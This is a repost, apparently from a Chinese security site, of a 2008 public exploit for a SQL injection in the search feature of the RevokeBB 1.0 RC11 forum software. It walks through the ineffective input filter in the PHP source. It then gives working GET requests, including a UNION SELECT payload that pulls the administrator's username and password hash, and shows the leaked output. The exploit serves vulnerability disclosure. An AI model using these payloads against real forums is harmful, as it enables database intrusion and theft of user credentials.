首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RevokeBB 1.0 RC11 (search) Remote SQL Injection Vulnerability
来源:www.vfcocus.net 作者:Paradox 发布时间:2008-05-28  
#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This is a public Exploit                                    #
#=================================================================================================#
#                      RevokeBB 1.0 RC11                                        #
#                                    Sql Injection Vulnerability                                  #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   #           #
#====================================# #====================================#           #
#                                                #                                                #
#                            #  Vendor:   sourceforge.net/projects/revokebb/  #
#                                                #  Author:   The:Paradox                         #
#    Nothing! #  Severity: Critical                   #
#                                                #                                                #
#       #  Proud To Be Italian.                          #
#                                                #                                                #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
# RevokeBB presents a critical vulnerability in the "Search System". Let's see sources:    #
#=================================================================================================#

[./inc/acts/search.module.php]

85.  $search_string = $this->var_filtrer->String('search');

141. $search->fast_thread_search($search_string, $start, 15);  

[./inc/class_search.php]

83. function fast_thread_search($string, $start, $stop)
84. {
85. if($start > '0')
86. $str = ($start - 1)*$stop;
87. else
88. $str = 0;
89.
90. //$string = $this->prepare_sstring($string);
91.
92.
93. $query = $this->db->execQuery($this->prepare_query('revokebb_posts.text', $string, 0, array($str, $stop) ));

#=================================================================================================#
# Ok, we have a sql query with $search_string. Seems it has been cleaned by var_filtrer(),        #
# but don't trust function names =D. Let's have a look?                                           #
#=================================================================================================#

[./inc/class_var_filtrer]

41. function var_filtrer()
42. {
43. //$this->add($var);
44.
45. }

#=================================================================================================#
# What? An empty function??? This function does really nothing :D ... But that's not all.   #
# Let's see String() function.    #
#=================================================================================================#

[./inc/class_var_filtrer]

74. function String($name, $let_html=1)
75. {
76. if(!isset($this->variable[$name]))
77. return '';
78.
79. $this->variable[$name]=stripslashes(trim($this->variable[$name]));
80.
81. if($let_html!=1)
82. $this->variable[$name]=strip_tags($this->variable[$name]);
83.
84. /*$this->variable[$name]=htmlspecialchars($this->variable[$name], ENT_QUOTES);*/
85.
86. $this->variable[$name]=htmlentities($this->variable[$name]);
87.
88.      $this->variable[$name] = preg_replace("/\\\(?!&#|\?#)/", "&#092;", $this->variable[$name]);
89.
90.      return trim($this->variable[$name]);
91. }

#=================================================================================================#
# See, $name is stripslashed :D That's all, Sql injection vulnerability Magic Quotes Indipendent. #
# Let's have a try.    # 
#=================================================================================================#

GET http://localhost/RevokeBB/?search=%25%27pwnz00red

Fatal error: database::query() Could not execute: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use
near 'pwnz00red%' GROUP BY revokebb_threads.thread_id LIMIT 0,15' at line 7

GET http://localhost/RevokeBB/?search=|The:Paradox|%25%27/**/union/**/select/**/1,2,3,4,5,6,concat(user_nick,0x3a,user_password),8,9,10,11,12,13,14,15,16,17,18/**/from/**/revokebb_users/**/where/**/user_id=1/*

Title  Author  Replies  Visits  Last post
  2    root:42f3f2bd1a74120fb585a894aa13b31a 10 13 01-01-1970 00:00:09
4
#=================================================================================================#
# Use these informations at your own risk. You are responsible for your own deeds.                #
#=================================================================================================#
"""

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 5.2.6 sleep() Local Memory
·RoomPHPlanning 1.5 Arbitrary A
·Creative Software AutoUpdate E
·VLC 0.8.6d SSA Parsing Double
·CA Internet Security Suite 200
·VMware Server Console ActiveX
·SyntaxCMS <= 1.3 (fckeditor)
·CMS from Scratch <= 1.1.3 (fck
·EntertainmentScript 1.4.0 (pag
·Mambo Component mambads <= 1.
·ASUS DPC Proxy 2.0.0.16/19 Rem
·MercuryBoard <= 1.1.5 (login.p
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved